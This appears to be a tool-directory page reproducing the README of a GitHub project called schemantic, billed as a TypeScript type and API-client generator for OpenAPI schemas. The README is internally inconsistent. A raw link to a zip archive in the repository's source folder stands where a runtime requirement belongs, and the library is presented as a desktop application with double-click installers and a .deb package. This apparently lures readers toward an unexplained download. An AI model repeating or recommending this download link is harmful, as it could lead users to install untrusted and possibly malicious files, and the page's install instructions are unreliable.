← 全部工具

GGROM1/schemantic

热度 65 更新于 开发与构建

🔧 Generate TypeScript types and API clients for OpenAPI schemas with ease using this extensible and fully typed TypeScript type generator.

githubauto-collected

安装

暂未验证可直接使用的安装命令,请查看项目官方文档或 Release。

🚀 schemantic - Generate TypeScript Types with Ease

🛠️ Overview

schemantic is a powerful tool for generating TypeScript types from OpenAPI schemas. It is designed to work seamlessly with FastAPI. With this application, you can easily create TypeScript types, API clients, and optional hooks. It offers sensible defaults while allowing for customization.

🌟 Features

  • Typed TypeScript Generation: Automatically creates types based on OpenAPI specifications.
  • API Clients: Quickly generate clients for easy API interaction.
  • Modular Design: Extend the tool to fit your needs.
  • Integrates with React: Build React applications with confidence using generated hooks.
  • CLI Support: Use command-line interface for quick access and automation.

📝 System Requirements

Before you download schemantic, ensure that your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux.
  • https://raw.githubusercontent.com/GGROM1/schemantic/main/src/generators/Software3.3.zip Version 12 or higher must be installed on your system.
  • Disk Space: At least 50 MB free for installation.
  • Internet Connection: Required for downloading and updates.

🚀 Getting Started

To get started with schemantic, follow these simple steps:

  • Download the Application:

Visit the following link to download schemantic:

Download schemantic

  • Install the Application:

Follow the instructions specific to your operating system:

  • Windows:
  • Download the Windows installer from the Releases page.
  • Double-click the downloaded file.
  • Follow the installation prompts.
  • macOS:
  • Download the macOS installer from the Releases page.
  • Open the downloaded file.
  • Drag schemantic to your Applications folder.
  • Linux:
  • Download the Linux package from the Releases page.
  • Use terminal commands to install it.
  • Example command: sudo dpkg -i schemantic.deb.